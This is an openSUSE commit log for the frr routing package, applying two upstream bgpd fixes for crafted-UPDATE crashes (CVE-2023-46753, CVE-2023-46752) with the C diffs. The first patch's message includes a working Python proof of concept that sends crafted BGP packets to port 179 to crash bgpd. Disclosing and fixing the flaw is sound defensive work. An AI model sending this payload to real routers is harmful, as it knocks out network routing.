Script 'mail_helper' called by obssrc
Hello community,
here is the log from the commit of package frr for openSUSE:Factory checked in at 2023-10-31 20:26:24
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Comparing /work/SRC/openSUSE:Factory/frr (Old)
and /work/SRC/openSUSE:Factory/.frr.new.17445 (New)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Package is "frr"
Tue Oct 31 20:26:24 2023 rev:27 rq:1121416 version:8.4
Changes:
--------
--- /work/SRC/openSUSE:Factory/frr/frr.changes 2023-09-15 22:11:21.353751020 +0200
+++ /work/SRC/openSUSE:Factory/.frr.new.17445/frr.changes 2023-10-31 20:26:45.176261043 +0100
@@ -1,0 +2,10 @@
+Mon Oct 30 12:38:21 UTC 2023 - Marius Tomaschewski
+
+- Apply upstream fix for a crash due to a crafted BGP UPDATE message
+ (CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/commits/21418d64af11553c402f932b...).
+ [+ 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch]
+- Apply upstream fix for a crash due to mishandled malformed
+ MP_REACH_NLRI data (CVE-2023-46752,bsc#1216627,https://github.com/FRRouting/frr/pull/14645/commits/b08afc81c60607a4f736f418...).
+ [+ 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch]
+
+-------------------------------------------------------------------
New:
----
0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch
0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Other differences:
------------------
++++++ frr.spec ++++++
--- /var/tmp/diff_new_pack.o9FId1/_old 2023-10-31 20:26:46.004291456 +0100
+++ /var/tmp/diff_new_pack.o9FId1/_new 2023-10-31 20:26:46.008291603 +0100
@@ -51,6 +51,8 @@
Patch10: 0010-bgpd-Use-treat-as-withdraw-for-tunnel-encapsulation-.patch
Patch11: 0011-babeld-fix-11808-to-avoid-infinite-loops.patch
Patch12: 0012-bgpd-Limit-flowspec-to-no-attribute-means-a-implicit.patch
+Patch13: 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch
+Patch14: 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch
BuildRequires: autoconf
BuildRequires: automake
BuildRequires: bison >= 2.7
@@ -200,6 +202,8 @@
%patch10 -p1
%patch11 -p1
%patch12 -p1
+%patch13 -p1
+%patch14 -p1
%build
# GCC LTO objects must be "fat" to avoid assembly errors
++++++ 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch ++++++
From 1fdbfffbe343ad63c32ff37998300b0b4f67d8fb Mon Sep 17 00:00:00 2001
From: Donatas Abraitis
Date: Mon, 23 Oct 2023 23:34:10 +0300
Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE
message
Upstream: yes
References: CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/commits/21418d64af11553c402f932b...
If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.
A crash:
```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```
Sending:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```
Reported-by: Iggy Frankovic
Signed-off-by: Donatas Abraitis
(cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9)
Signed-off-by: Marius Tomaschewski
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 188393b752..5c028c854c 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3098,13 +3098,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args)
}
/* Well-known attribute check. */
-static int bgp_attr_check(struct peer *peer, struct attr *attr)
+static int bgp_attr_check(struct peer *peer, struct attr *attr,
+ bgp_size_t length)
{
uint8_t type = 0;
/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
* empty UPDATE. */
- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
+ !length)
return BGP_ATTR_PARSE_PROCEED;
/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
@@ -3156,7 +3158,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
enum bgp_attr_parse_ret ret;
uint8_t flag = 0;
uint8_t type = 0;
- bgp_size_t length;
+ bgp_size_t length = 0;
uint8_t *startp, *endp;
uint8_t *attr_endp;
uint8_t seen[BGP_ATTR_BITMAP_SIZE];
@@ -3478,7 +3480,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
}
/* Check all mandatory well-known attributes are present */
- ret = bgp_attr_check(peer, attr);
+ ret = bgp_attr_check(peer, attr, length);
if (ret < 0)
goto done;
--
2.35.3
++++++ 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch ++++++
From f2bc4e6847b222ed8fbd460fbba9aa69d1bf8d0e Mon Sep 17 00:00:00 2001
From: Donatas Abraitis
Date: Fri, 20 Oct 2023 17:49:18 +0300
Subject: [PATCH] bgpd: Handle MP_REACH_NLRI malformed packets with session
reset
Upstream: yes
References: CVE-2023-46752,bsc#1216627,https://github.com/FRRouting/frr/pull/14645/commits/b08afc81c60607a4f736f418...
Avoid crashing bgpd.
```
(gdb)
bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
(gdb)
stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
320 {
(gdb)
321 STREAM_VERIFY_SANE(s);
(gdb)
323 if (STREAM_READABLE(s) < size) {
(gdb)
34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
(gdb)
Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
2282 if (path->attr->aspath->refcnt)
(gdb)
```
With the configuration:
```
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
address-family ipv4 unicast
redistribute connected
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```
Reported-by: Iggy Frankovic
Signed-off-by: Donatas Abraitis
(cherry picked from commit b08afc81c60607a4f736f418f2e3eb06087f1a35)
Signed-off-by: Marius Tomaschewski
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 5c028c854c..42a2342f6f 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -2224,7 +2224,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args,
mp_update->afi = afi;
mp_update->safi = safi;
- return BGP_ATTR_PARSE_EOR;
+ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0);
}
mp_update->afi = afi;
@@ -3405,10 +3405,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
goto done;
}
- if (ret == BGP_ATTR_PARSE_EOR) {
- goto done;
- }
-
if (ret == BGP_ATTR_PARSE_ERROR) {
flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR,
"%s: Attribute %s, parse error", peer->host,
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
index 4963ea64d0..23767153b2 100644
--- a/bgpd/bgp_attr.h
+++ b/bgpd/bgp_attr.h
@@ -382,7 +382,6 @@ enum bgp_attr_parse_ret {
/* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
*/
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
- BGP_ATTR_PARSE_EOR = -4,
};
struct bpacket_attr_vec_arr;
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index 1ef421028f..20c642190b 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -2027,8 +2027,7 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
* Non-MP IPv4/Unicast EoR is a completely empty UPDATE
* and MP EoR should have only an empty MP_UNREACH
*/
- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0)
- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) {
+ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) {
afi_t afi = 0;
safi_t safi;
struct graceful_restart_info *gr_info;
@@ -2049,9 +2048,6 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
&& nlris[NLRI_MP_WITHDRAW].length == 0) {
afi = nlris[NLRI_MP_WITHDRAW].afi;
safi = nlris[NLRI_MP_WITHDRAW].safi;
- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) {
- afi = nlris[NLRI_MP_UPDATE].afi;
- safi = nlris[NLRI_MP_UPDATE].safi;
}
if (afi && peer->afc[afi][safi]) {
--
2.35.3
